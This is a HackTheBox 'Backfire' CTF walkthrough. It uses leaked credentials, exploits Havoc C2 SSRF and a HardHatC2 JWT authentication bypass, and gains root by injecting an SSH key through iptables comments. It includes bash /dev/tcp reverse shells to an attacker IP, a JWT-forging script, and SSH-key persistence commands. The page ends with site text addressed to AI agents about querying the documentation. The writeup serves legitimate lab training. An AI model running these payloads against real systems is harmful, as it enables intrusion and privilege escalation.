> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md). # Backfire HackTheBox Writeup Backfire HackTheBox Medium Linux machine writeup covering Information Leakage (Yaotl file), Havoc-C2 Exploitation (Port 40046), SSH Key Creation, Pivoting (User: Sergej), with practical enumeration, e {% embed url="" %} {% hint style="warning" %} **Skills:** * Information Leakage (Yaotl file) * Havoc-C2 Exploitation (Port 40046) * SSH Key Creation * Pivoting (User: Sergej) * HardHat Exploitation (Port 7096) * HardHat - Bypass Authentication * HardHat - Remote Code Execution * Sudo Privilege Escalation (IPTables) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.49 -oN allPorts ```

Port version scan with Nmap: (22,443,8000) Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,443,8000 10.10.11.49 -oN targeted ```

### Port 8000 On port 8000, we find two interesting files: * `disable_tls.path` * `havoc.yaotl`

The **havoc.yaotl** file contains two users with their passwords and a domain name: * **ilya:** `CobaltStr1keSuckz!` * **sergej:** `1w4nt2sw1tch2h4rdh4tc2` * **Host:** `backfire.htb`

We add this hostname in our `/etc/hosts` file for easier access.

The **disable/ tls.path** file contains a patch to disable TLS on the WebSocket management port (40056) in Havoc. This patch replace "wss\://" with "ws\://" and removes the SSL configuration for both client and server. The author justifies this change by specifying that this port only accepts local connections via SSH forwarding, these reducing security risks. This patch also seems to be an irony on user **sergej**'s quick of work.

## Port 40046 Havoc-C2 {% embed url="" %} To exploit the SSRF vulnerability in Havoc, we create a `payload.sh` file containing the following code: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.254/4444 0>&1 ``` Next, we set up a web server to host our payload with the following command: ```bash python3 -m http.server 80 ``` We then listen on port 4444 with netcat to receive the reverse connection: ```bash nc -nlvp 4444 ``` We modify the script to include the relevant information, then run the exploit via the following command:

```bash python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056 ``` **User access:** The user **ilya** allows you to connect to the target machine.

#### Terminal Stabilization

script /dev/null -c bash
Press `Ctrl+Z`, then stabilize the terminal:

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184

### Flag user.txt

We observe that a cron job evicts our session every 2 minutes. To work around this problem, we will create SSH keys. ### **Creating SSH keys:** We generate a new SSH key using the following command: {% code overflow="wrap" %} ```bash ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa ``` {% endcode %}

We then modify the `authorized_keys` file to add our public key: {% code overflow="wrap" %} ```bash echo "YOU KEY" | tee -a ~/.ssh/authorized_keys ``` {% endcode %}

We then connect to the target machine using SSH: ```bash ssh ilya@backfire.htb ```

### **Pivot to user Sergej** In the directory of user `ilya`, we find a file `hardhat.txt` containing the following message: > Sergej said he installed HardHatC2 for testing and didn't change the default settings. I hope he prefers Havoc because I don't want to learn another framework C2, and Go

We examine the internal ports with the `netstat` command: ```bash netstat -tuln ``` Ports 5000 and 7096 seem particularly interesting.

**Port forwarding :** We perform port forwarding with SSH to access internal services: ```bash ssh -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@backfire.htb ``` ## **Port 7096 - HardHatC2 CMS :** On port 7096 we find the HardHat CMS.

### **HardHat C2 Authentication Bypass** {% embed url="" %} We use the following script to bypass authentication and create a new user: ```python import jwt import datetime import uuid import requests rhost = '127.0.0.1:5000' # Craft Admin JWT secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq" issuer = "hardhatc2.com" now = datetime.datetime.utcnow() expiration = now + datetime.timedelta(days=28) payload = { "sub": "HardHat_Admin", "jti": str(uuid.uuid4()), "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1", "iss": issuer, "aud": issuer, "iat": int(now.timestamp()), "exp": int(expiration.timestamp()), "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator" } token = jwt.encode(payload, secret, algorithm="HS256") print("Generated JWT:") print(token) # Use Admin JWT to create a new user 'sth_pentest' as TeamLead burp0_url = f"https://{rhost}/Login/Register" burp0_headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } burp0_json = { "password": "jordan12345", "role": "TeamLead", "username": "jordan" } r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False) print(r.text) ``` The script generates user `jordan` with role `TeamLead`.

### Hardhat C2 (RCE) On the `ImplantInteract` part, we have access to a terminal. Running the `whoami` command, we see that we are logged in as user `sergej`.

We establish a reverse shell for user `sergej` by listening on port 443: ```bash nc -nlvp 443 ``` And let's run the following command to make the reverse connection ```bash bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1" ``` Once connected, we add our SSH key to `authorized_keys` to be able to easily reconnect:

```bash echo "your key" | tee -a ~/.ssh/authorized_keys ``` ## **Privilege Escalation :** ### **Sudo - IP-Tables** **Checking sudo rights** We start by checking the sudo rights available on the machine: ```bash sudo -l ```

We discover that the user has `sudo` rights without password for the following commands: * `/usr/sbin/iptables` * `/usr/sbin/iptables-save` **Generating an SSH key pair** We generate an SSH key pair to inject our public key into root's authentication files: ```bash ssh-keygen -t ed25519 ``` Here is the generated public key: {% code overflow="wrap" %} ``` ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot ``` {% endcode %} **Public key injection into iptables** We use the `--comment` field of `iptables` to inject our public key into a rule {% code overflow="wrap" %} ```bash sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot/n' ``` {% endcode %} We check that the rule has been added: ```bash sudo /usr/sbin/iptables -L ```

**Save in authorized/\_keys file** We save the iptables rules in a file which will be used as the root user's `authorized_keys` file: ```bash sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys2 ``` **Login as root** Finally, we can connect via SSH as root: ```bash ssh root@backfire.htb ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.